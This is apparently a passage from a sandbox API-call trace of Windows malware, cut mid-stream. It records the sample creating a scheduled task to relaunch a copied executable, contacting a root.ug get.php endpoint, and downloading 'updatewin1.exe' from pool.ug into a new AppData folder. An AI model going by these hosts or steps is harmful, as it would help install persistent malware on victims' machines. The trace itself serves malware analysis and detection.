lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0088.825] GetLastError () returned 0x0 [0088.825] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x3031178, Size=0x98) returned 0x3031178 [0088.825] GetLastError () returned 0x0 [0088.825] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0088.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e394 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e394) returned 26 [0088.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e394 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e394) returned 26 [0088.827] GetLastError () returned 0x0 [0088.827] ITrigger:put_StartBoundary (This=0x26e0c00, StartBoundary="2019-05-06T04:40:15") returned 0x0 [0088.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30514b0 | out: hHeap=0x680000) returned 1 [0088.827] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3058f20 | out: hHeap=0x680000) returned 1 [0088.827] IUnknown:Release (This=0x26e0c00) returned 0x1 [0088.827] ITaskDefinition:get_Actions (in: This=0x26e0950, ppActions=0x18e960 | out: ppActions=0x18e960*=0x26e09c8) returned 0x0 [0088.827] IActionCollection:Create (in: This=0x26e09c8, Type=0, ppAction=0x18e94c | out: ppAction=0x18e94c*=0x26e0c98) returned 0x0 [0088.827] IUnknown:Release (This=0x26e09c8) returned 0x1 [0088.827] IUnknown:QueryInterface (in: This=0x26e0c98, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e968 | out: ppvObject=0x18e968*=0x26e0c98) returned 0x0 [0088.827] IUnknown:Release (This=0x26e0c98) returned 0x2 [0088.827] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x30514b0 [0088.827] IExecAction:put_Path (This=0x26e0c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned 0x0 [0088.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30514b0 | out: hHeap=0x680000) returned 1 [0088.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x30514b0 [0088.828] IExecAction:put_Arguments (This=0x26e0c98, Arguments="--Task") returned 0x0 [0088.828] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30514b0 | out: hHeap=0x680000) returned 1 [0088.828] IUnknown:Release (This=0x26e0c98) returned 0x1 [0088.828] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xc) returned 0x30514b0 [0088.828] ITaskFolder:RegisterTaskDefinition (in: This=0x26e0920, Path="Time Trigger Task", pDefinition=0x26e0950, flags=6, UserId=0x18e408*(varType=0x0, wReserved1=0x306, wReserved2=0xe91c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x680000), password=0x18e418*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18e42c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18e934 | out: ppTask=0x18e934*=0x26e0d18) returned 0x0 [0088.901] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30514b0 | out: hHeap=0x680000) returned 1 [0088.901] TaskScheduler:IUnknown:Release (This=0x26e0920) returned 0x0 [0088.901] TaskScheduler:IUnknown:Release (This=0x26e0950) returned 0x0 [0088.901] IUnknown:Release (This=0x26e0d18) returned 0x0 [0088.901] CoUninitialize () [0088.902] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305d1f8 | out: hHeap=0x680000) returned 1 [0088.902] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305d130 | out: hHeap=0x680000) returned 1 [0088.902] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305cfa0 | out: hHeap=0x680000) returned 1 [0088.902] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x758c90 [0088.902] OpenServiceW (hSCManager=0x758c90, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305ed38 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3064520 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3063e80 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x30659c0 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3065c28 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x30586f0 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3058958 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070060 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x30702c8 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070530 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070798 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070a00 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070c68 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3070ed0 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071138 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x30713a0 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071608 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa0) returned 0x2f8e530 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x30640e8 [0088.903] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x2f8e530 | out: hHeap=0x680000) returned 1 [0088.903] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x2fb54e8 [0088.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x75aa78, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0xa88) returned 0x5ac [0089.136] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30640e8 | out: hHeap=0x680000) returned 1 [0089.136] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x3088ea0 [0089.136] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071870 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071ad8 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071d40 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3071fa8 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3072210 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3072478 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x30726e0 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3072948 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3072bb0 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x25c) returned 0x3072e18 [0089.137] lstrlenA (lpString="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned 74 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x96) returned 0x2ff2c58 [0089.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3071870, cbMultiByte=-1, lpWideCharStr=0x2ff2c58, cchWideChar=75 | out: lpWideCharStr="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned 75 [0089.137] lstrcatW (in: lpString1="", lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.137] lstrlenA (lpString="") returned 0 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5e90 [0089.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3071ad8, cbMultiByte=-1, lpWideCharStr=0x2ff5e90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.137] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.137] lstrlenA (lpString="") returned 0 [0089.137] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5ec0 [0089.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3071d40, cbMultiByte=-1, lpWideCharStr=0x2ff5ec0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.138] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5eb0 [0089.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3071fa8, cbMultiByte=-1, lpWideCharStr=0x2ff5eb0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.138] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5f30 [0089.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3072210, cbMultiByte=-1, lpWideCharStr=0x2ff5f30, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.138] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5ef0 [0089.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3072478, cbMultiByte=-1, lpWideCharStr=0x2ff5ef0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.138] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5ee0 [0089.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30726e0, cbMultiByte=-1, lpWideCharStr=0x2ff5ee0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.138] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5f00 [0089.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3072948, cbMultiByte=-1, lpWideCharStr=0x2ff5f00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.138] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.138] lstrlenA (lpString="") returned 0 [0089.139] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5f10 [0089.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3072bb0, cbMultiByte=-1, lpWideCharStr=0x2ff5f10, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.139] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.139] lstrlenA (lpString="") returned 0 [0089.139] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x2) returned 0x2ff5f20 [0089.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3072e18, cbMultiByte=-1, lpWideCharStr=0x2ff5f20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0089.139] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php", lpString2="" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php" [0089.139] lstrlenW (lpString="") returned 0 [0089.139] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x12) returned 0x302ee08 [0089.139] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x288) returned 0x3058bc0 [0089.140] GetAdaptersInfo (in: AdapterInfo=0x3058bc0, SizePointer=0x18e94c | out: AdapterInfo=0x3058bc0, SizePointer=0x18e94c) returned 0x0 [0089.220] GetAdaptersInfo (in: AdapterInfo=0x3058bc0, SizePointer=0x18e94c | out: AdapterInfo=0x3058bc0, SizePointer=0x18e94c) returned 0x0 [0089.222] GetLastError () returned 0x0 [0089.222] GetLastError () returned 0x0 [0089.239] CryptAcquireContextW (in: phProv=0x18e91c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e91c*=0x7560f0) returned 1 [0089.240] CryptCreateHash (in: hProv=0x7560f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e924 | out: phHash=0x18e924) returned 1 [0089.240] CryptHashData (hHash=0x307ee20, pbData=0x30501c8, dwDataLen=0x11, dwFlags=0x0) returned 1 [0089.240] CryptGetHashParam (in: hHash=0x307ee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e920, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e920) returned 1 [0089.240] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x11) returned 0x302eda8 [0089.240] CryptGetHashParam (in: hHash=0x307ee20, dwParam=0x2, pbData=0x302eda8, pdwDataLen=0x18e920, dwFlags=0x0 | out: pbData=0x302eda8, pdwDataLen=0x18e920) returned 1 [0089.240] GetLastError () returned 0x0 [0089.240] CryptDestroyHash (hHash=0x307ee20) returned 1 [0089.240] CryptReleaseContext (hProv=0x7560f0, dwFlags=0x0) returned 1 [0089.240] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30501c8 | out: hHeap=0x680000) returned 1 [0089.240] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x3044858 [0089.240] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3044820 | out: hHeap=0x680000) returned 1 [0089.240] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3050150 | out: hHeap=0x680000) returned 1 [0089.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0xa8c) returned 0x5cc [0089.486] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0xffffffff) Thread: id = 34 os_tid = 0xa68 Thread: id = 35 os_tid = 0xa6c Thread: id = 36 os_tid = 0xa70 Thread: id = 37 os_tid = 0xa74 Thread: id = 38 os_tid = 0xa78 Thread: id = 39 os_tid = 0xa7c Thread: id = 40 os_tid = 0xa80 Thread: id = 41 os_tid = 0xa84 Thread: id = 42 os_tid = 0xa88 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x30640e8 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x2febea8 [0089.148] GetLastError () returned 0x54f [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3bc) returned 0x30afe40 [0089.148] GetCurrentThreadId () returned 0xa88 [0089.148] SetLastError (dwErrCode=0x54f) [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305ef30 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x18) returned 0x302eda8 [0089.148] GetLastError () returned 0x54f [0089.148] SetLastError (dwErrCode=0x54f) [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305ef78 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x3044190 [0089.148] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x302eda8 | out: hHeap=0x680000) returned 1 [0089.148] GetLastError () returned 0x54f [0089.148] SetLastError (dwErrCode=0x54f) [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x3044350 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x48) returned 0x30895b0 [0089.148] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3044190 | out: hHeap=0x680000) returned 1 [0089.148] GetLastError () returned 0x54f [0089.148] SetLastError (dwErrCode=0x54f) [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x3044190 [0089.148] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x2fd1720 [0089.149] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30895b0 | out: hHeap=0x680000) returned 1 [0089.149] GetLastError () returned 0x54f [0089.149] SetLastError (dwErrCode=0x54f) [0089.149] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30442e0 [0089.149] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x2fd3398 [0089.149] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x2fd1720 | out: hHeap=0x680000) returned 1 [0089.149] GetLastError () returned 0x54f [0089.149] SetLastError (dwErrCode=0x54f) [0089.149] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30445f0 [0089.149] GetLastError () returned 0x54f [0089.149] SetLastError (dwErrCode=0x54f) [0089.149] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x2febea8 | out: hHeap=0x680000) returned 1 [0089.149] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0089.149] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathA") returned 0x760e7804 [0089.149] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x400) returned 0x30b0208 [0089.149] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x30b0208 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0089.149] UuidCreate (in: Uuid=0x99ed768 | out: Uuid=0x99ed768) returned 0x0 [0089.165] UuidToStringA (in: Uuid=0x99ed768, StringUuid=0x99ed6c0 | out: StringUuid=0x99ed6c0) returned 0x0 [0089.165] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30445b8 [0089.165] RpcStringFreeA (in: String=0x99ed6c0 | out: String=0x99ed6c0) returned 0x0 [0089.165] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="c557195c-349f-4f92-bc77-a9a63b9592e0" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned 1 [0089.165] CreateDirectoryA (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0"), lpSecurityAttributes=0x0) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x410) returned 0x30b0610 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x410) returned 0x30b0a28 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1000) returned 0x30b0e40 [0089.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30b0a28, cbMultiByte=-1, lpWideCharStr=0x30b0e40, cchWideChar=2048 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned 81 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1010) returned 0x30b1e48 [0089.166] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b0e40 | out: hHeap=0x680000) returned 1 [0089.166] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b0a28 | out: hHeap=0x680000) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x18) returned 0x302edc8 [0089.166] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305f008 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x860) returned 0x30b0a28 [0089.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305f008, cbMultiByte=-1, lpWideCharStr=0x30b0a28, cchWideChar=1072 | out: lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin1.exe") returned 45 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x870) returned 0x30b1290 [0089.166] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b0a28 | out: hHeap=0x680000) returned 1 [0089.166] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305f008 | out: hHeap=0x680000) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x870) returned 0x30b2e60 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x830) returned 0x30b0a28 [0089.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin1.exe", cchWideChar=-1, lpMultiByteStr=0x30b0a28, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://pool.ug/tesptc/penelop/updatewin1.exe", lpUsedDefaultChar=0x0) returned 45 [0089.166] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x840) returned 0x30b36d8 [0089.167] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b0a28 | out: hHeap=0x680000) returned 1 [0089.167] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b2e60 | out: hHeap=0x680000) returned 1 [0089.167] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://pool.ug/tesptc/penelop/updatewin1.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0089.777] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b36d8 | out: hHeap=0x680000) returned 1 [0089.777] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ed6d0, lpdwBufferLength=0x99ed710, lpdwIndex=0x0 | out: lpBuffer=0x99ed6d0*, lpdwBufferLength=0x99ed710*=0x4, lpdwIndex=0x0) returned 1 [0089.779] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305f170 [0089.779] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x3050498 [0089.779] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305f170 | out: hHeap=0x680000) returned 1 [0089.779] lstrcpyA (in: lpString1=0x30b0208, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" [0089.779] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe") returned 1 [0089.779] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x2fd16b8 [0089.780] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0089.780] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 